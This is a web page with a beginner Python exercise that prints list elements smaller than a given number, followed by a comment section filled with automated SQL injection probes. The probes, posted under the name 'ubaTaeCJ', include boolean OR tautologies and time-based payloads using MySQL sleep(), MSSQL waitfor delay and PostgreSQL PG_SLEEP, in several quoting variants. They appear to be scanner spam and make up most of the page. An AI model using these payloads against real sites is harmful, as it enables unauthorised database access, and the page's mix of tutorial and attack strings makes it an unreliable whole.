# Print all the numbers which are less than given key element from a given list.

Python Program to get an element and print the elements of list which is lesss than the element.

Sample Input 1:

5 5 7 9 3 1 4

Sample Output 1:

3 1

Sample Input 2:

5 5 7 9 3 1 8

Sample Output 2:

5 7 3 1

#### Program or Solution

``` l=list(map(int,input("Enter array elements:").split(" "))) e=int(input("Enter a number:")) for i in range(0,len(l)): if(l[i]<e): print(l[i],end=" ") ```

#### Program Explanation

Input: To get list of numbers seprated by space, use split(" ") method.

Split() method splits the numbers as seprate elements.

By default this methods are considered as string, since input() method returs string. Use map() function to convert all elements as integer and store it in list.

Process: using for loop visit each location sequentially from 1 to len(l)-1. if the value located in a postion is lesser than the element given by user, then print the value using print statement.

##### ubaTaeCJ
-1 OR 2+502-502-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3+502-502-1=0+0+0+1 --
##### ubaTaeCJ
-1 OR 3*2<(0+5+502-502) --
##### ubaTaeCJ
-1 OR 3*2>(0+5+502-502) --
##### ubaTaeCJ
-1 OR 2+154-154-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3+154-154-1=0+0+0+1
##### ubaTaeCJ
-1 OR 3*2<(0+5+154-154)
##### ubaTaeCJ
-1 OR 3*2>(0+5+154-154)
##### ubaTaeCJ
-1' OR 2+882-882-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3+882-882-1=0+0+0+1 --
##### ubaTaeCJ
-1' OR 3*2<(0+5+882-882) --
##### ubaTaeCJ
-1' OR 3*2>(0+5+882-882) --
##### ubaTaeCJ
-1' OR 2+273-273-1=0+0+0+1 or 'TYO5ZZcT'='
##### ubaTaeCJ
-1' OR 3+273-273-1=0+0+0+1 or 'TYO5ZZcT'='
##### ubaTaeCJ
-1' OR 3*2<(0+5+273-273) or 'TYO5ZZcT'='
##### ubaTaeCJ
-1' OR 3*2>(0+5+273-273) or 'TYO5ZZcT'='
##### ubaTaeCJ
-1" OR 2+79-79-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3+79-79-1=0+0+0+1 --
##### ubaTaeCJ
-1" OR 3*2<(0+5+79-79) --
##### ubaTaeCJ
-1" OR 3*2>(0+5+79-79) --
##### ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
##### ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
##### ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
##### ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
##### ubaTaeCJ
-1; waitfor delay '0:0:15' --
##### ubaTaeCJ
-1); waitfor delay '0:0:15' --
##### ubaTaeCJ
1 waitfor delay '0:0:15' --
##### ubaTaeCJ
tNRnc2Ox'; waitfor delay '0:0:15' --
##### ubaTaeCJ
-5 OR 912=(SELECT 912 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-5) OR 462=(SELECT 462 FROM PG_SLEEP(15))--
##### ubaTaeCJ
-1)) OR 139=(SELECT 139 FROM PG_SLEEP(15))--
##### ubaTaeCJ
wjva8NTy' OR 723=(SELECT 723 FROM PG_SLEEP(15))--
##### ubaTaeCJ
NVUZlL0q') OR 676=(SELECT 676 FROM PG_SLEEP(15))--
##### ubaTaeCJ
0LX6bXCZ')) OR 589=(SELECT 589 FROM PG_SLEEP(15))--